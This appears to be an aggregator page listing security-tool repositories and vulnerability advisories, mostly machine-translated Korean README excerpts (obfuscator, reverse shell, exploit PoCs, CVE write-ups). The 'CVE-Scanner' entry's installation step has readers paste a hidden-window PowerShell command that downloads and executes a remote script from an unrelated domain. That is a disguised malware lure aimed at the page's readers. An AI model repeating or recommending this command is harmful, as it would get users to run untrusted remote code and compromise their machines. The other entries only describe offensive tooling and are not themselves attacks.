ginger

Ginger Ginger는 주어진 Pentaho BA 애플리케이션 인스턴스의 보안을 평가하는 데 도움을 주는 오픈 소스 보안 평가 도구입니다. 이 프로젝트는 아직 작업 진행 중이며, 모든 기능이 구현되어 있지 않거나 의도한 대로 작동하지 않을 수 있다는 점을 유의하시기 바랍니다. 사용법 Ginger에는 필수 매개변수가 하나만 있습니다. 바로 대상 Pentaho 설치의 URL입니다: user@host:$ python gynger.py http://localhost:8080/pentaho 참고: 끝에 슬래시/를 포함하지 마세요 이...

ditto

ditto PowerShell 난독화 도구 Ditto는 tree-sitter-powershell 과 tree-sitter-javascript을 기반으로 하는 PowerShell 및 JavaScript 난독화 도구입니다. 명령줄 사용법 기본 명령 구조 ditto-cli 옵션 CLI 인수 및 옵션 짧은 옵션| 긴 옵션| 설명 ---|---|--- -h| --help| 도움말 정보를 표시하고 종료합니다. -v| --version| 버전 정보를 표시하고 종료합니다. -p | --path | 처리할 스크립트 파일의 경로입니다. -i...

copy-fail-mitigation-with-bpftrace

Copy Fail eBPF를 이용한 한 줄 코드 수정 CVE-2026-31431, 일명 Copy Fail은 bpftrace 명령을 통해 한 줄 코드로 수정할 수 있으며, kpatch 컴파일이나 cargo 컴파일이 필요 없습니다 English Version|中文版本 아이디어 이 취약점을 악용하려면 AFALG 인터페이스에 바인딩하고 암호화 알고리즘 authencesn 을 사용해야 하는데, 이는 대부분의 프로그램이 사용하지 않는 기능입니다. 이것이 바로 수정 코드가发挥作用할 수 있는 부분입니다. 파일 목록 ├── kfunc.sh ├...

tlsenum

tlsenum tlsenum은 서버가 지원하는 TLS 암호 스위트를 열거하고 우선순위 순서로 나열하는 명령줄 TLS 열거 도구입니다. 이 도구는 TLS ClientHello 메시지를 보내고 서버에서 오는 ServerHello 응답을 구문 분석하여 작동합니다. tlsenum은 서버가 선호하는 암호 스위트를 결정하며 클라이언트가 표시한 선호도를 무시한다고 가정합니다. 이는 TLS 사양에 의해 엄격히 보장되지는 않지만 상당히 일반적인 구현 세부 사항으로 보입니다. 설치 tlsenum은 Python 2.7, 3.3 또는 3.4에서 사...

CVE-2026-4631-cockpit-RCE

CVE-2026-4631 — 코드 분석 Cockpit: SSH 명령줄 인자 주입을 통한 인증 없는 원격 코드 실행 필드| 세부 정보 ---|--- CVE ID| CVE-2026-4631 GHSA| GHSA-m4gv-x78h-3427 심각도| 치명적 CVSS 9.8 영향을 받는 버전| Cockpit 327 – 359 수정된 버전| Cockpit 360 CWE| CWE-78: OS 명령 주입 인증 필요| 아니요 보고자| Jelle van der Waa 목차 1. 취약점 개요 2. 아키텍처 배경 3. 근본 원인 분석 4. 취약한 코...

CVE-2025-60378

CVE-2025-60378: RISE Ultimate Project Manager & CRM의 저장형 HTML 인젝션 ⚠️ 보안 권고 인보이스, 메시징 및 자동화 커뮤니케이션에 영향을 미치는 치명적인 저장형 HTML 인젝션 취약점 -ff6600 📋 개요 RISE Ultimate Project Manager & CRM에서 인증된 사용자가 인보이스 품목, 고객 메모 및 메시징 모듈에 악성 HTML을 주입할 수 있는 치명적인 저장형 HTML 인젝션 취약점이 발견되었습니다. 주입된 콘텐츠는 데이터베이스에 영구 저장되며 고객 대상 이메일...

nodejsshell

nodejsshell - h3x0v3rl0rd -...

DCVD

project/ ├── train.py ├── dataloader.py ├── README.md ├── requirements.txt ├── models/ │ ├── controlpathway.py │ ├── semanticpathway.py │ ├── featurefusionmodule.py │ ├── transformerllmmodule.py │ └── multitaskpredictor.py 데이터 및 모델 출처 데이터셋 취약점 탐지를 위해 LineVul 데이터셋을 사용합니다: Michael Fu and Chakkrit...

CVE-2026-32722

CVE-2026-32722 블룸버그 Memray의 이스케이프되지 않은 명령줄 메타데이터를 통한 저장형 XSS 소개 저는 Memray블룸버그의 Python 메모리 프로파일러를 검토하던 중 다음과 같은 간단한 질문을 염두에 두고 이 문제를 발견했습니다: 공격자가 제어하는 런타임 메타데이터가 안전하지 않은 방식으로 브라우저에 렌더링되는 보고서 출력에 유입될 수 있을까? 이 경우, 답은 '그렇다'였습니다. 이 버그는 Memray의 HTML 보고서 생성 경로에 있었으며, 명령줄 메타데이터가 이스케이프 없이 브라우저에서 열리는 보고서에...

apache-camel-docling-security-assessment

CVE-2026-40047 - Apache Camel Docling CLI 인수 주입 컨설턴트 스타일 사이버보안 보고서 Apache Camel Docling 인수 검증 위험에 대한 전문적인 취약점 평가 보고서로, 기술적 영향, 수정 및 완화 전략을 포함합니다. 📍 보고서 요약 항목| 세부 사항 ---|--- 보고서 유형| 취약점 평가 보고서 수행 맥락| 보안 연구 주요 초점| 애플리케이션 보안 대상 독자| 보안팀, 엔지니어링팀, 채용 담당자 출력 스타일| 경영진 요약, 기술 분석, 비즈니스 영향, 수정 로드맵 공개 상태| 공개...

CVE-2023-21823

CVE-2023-21823 Reverse Shell for Windows 이 저장소는 Windows 운영체제를 위한 리버스 셸을 구현한 C 코드를 포함하고 있습니다. 리버스 셸을 사용하면 명령줄을 통해 원격 시스템을 제어할 수 있으며, 감염된 머신에서 명령을 실행할 수 있습니다. 중요 이 코드를 불법적인 목적으로 사용하거나 시스템 소유자의 허가 없이 사용하는 것은 불법이며 윤리적 원칙에 위배됩니다. 이 코드는 교육 및 연구 목적으로만 제공됩니다. 빌드 프로젝트를 빌드하려면 MinGW 또는 Microsoft Visual...

CVE-Scanner

CVE-Scanner CVE-2021-42287/CVE-2021-42278/기타 스캐너 & 익스플로이터. 설치 1. WIN + R 키를 누릅니다 2. 아래 코드를 복사하여 붙여넣고 Enter 키를 누릅니다 powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. PC를 다시 시작합니다 사용법 1. CMD를 엽니다 2. fexkex 스캔할 IP...

CVE-2015-1427

CVE-2015-1427 매개변수 -u 단일 URL -l URL 파일 지정 -c 명령 지정...

CVE-2017-10271

CVE-2017-10271 使用方法: python CVE-2017-10271.py url...

CVE-2023-26256

CVE-2023-26256 -h 도움말 보기 -u 단일 URL 실행 -f 일괄 실행...

hotpot

Hotpot 🍲 커맨드라인용 Authy / Google Authenticator Hotpot은 TOTP 기반 2단계 인증 코드를 관리하기 위한 간단하고 안전한 커맨드라인 도구입니다. Hotpot은 2FA 비밀키를 시스템 키링에 안전하게 저장하고, 필요할 때 시간 기반 일회용 비밀번호를 생성합니다. 보안, 성능, 안정성을 위해 Rust로 제작되었습니다. 기능 시스템 키링Keychain/libsecret/Credential Manager을 사용하는 안전한 저장 사용자 정의 가능한 알고리즘SHA1/SHA256/SHA512을 지원하는...

BIT-PHP-MIN-2026-92842 OOB read / info leak in convert.* stream filters when line-break-chars contains NUL

The convert.base64-encode, convert.quoted-printable-encode and convert.quoted-printable-decode stream filters accept a line-break-chars option whose length is tracked separately from the string itself. The filter constructors duplicate the value with pestrdup, which stops at the first NUL byte,...

BIT-PHP-2026-92842 OOB read / info leak in convert.* stream filters when line-break-chars contains NUL

The convert.base64-encode, convert.quoted-printable-encode and convert.quoted-printable-decode stream filters accept a line-break-chars option whose length is tracked separately from the string itself. The filter constructors duplicate the value with pestrdup, which stops at the first NUL byte,...

BIT-LIBPHP-2026-92842 OOB read / info leak in convert.* stream filters when line-break-chars contains NUL

The convert.base64-encode, convert.quoted-printable-encode and convert.quoted-printable-decode stream filters accept a line-break-chars option whose length is tracked separately from the string itself. The filter constructors duplicate the value with pestrdup, which stops at the first NUL byte,...

CVE-2026-96573 Appointment Hour Booking <= 1.5.97 - Unauthenticated Stored DOM-Based Cross-Site Scripting via Booking Form Single-Line Field via Schedule Calendar List Renderer

The Appointment Hour Booking – Booking Calendar plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via Booking Form Single-Line Field via Schedule Calendar List Renderer in all versions up to, and including, 1.5.97 due to insufficient input sanitization and output escapin...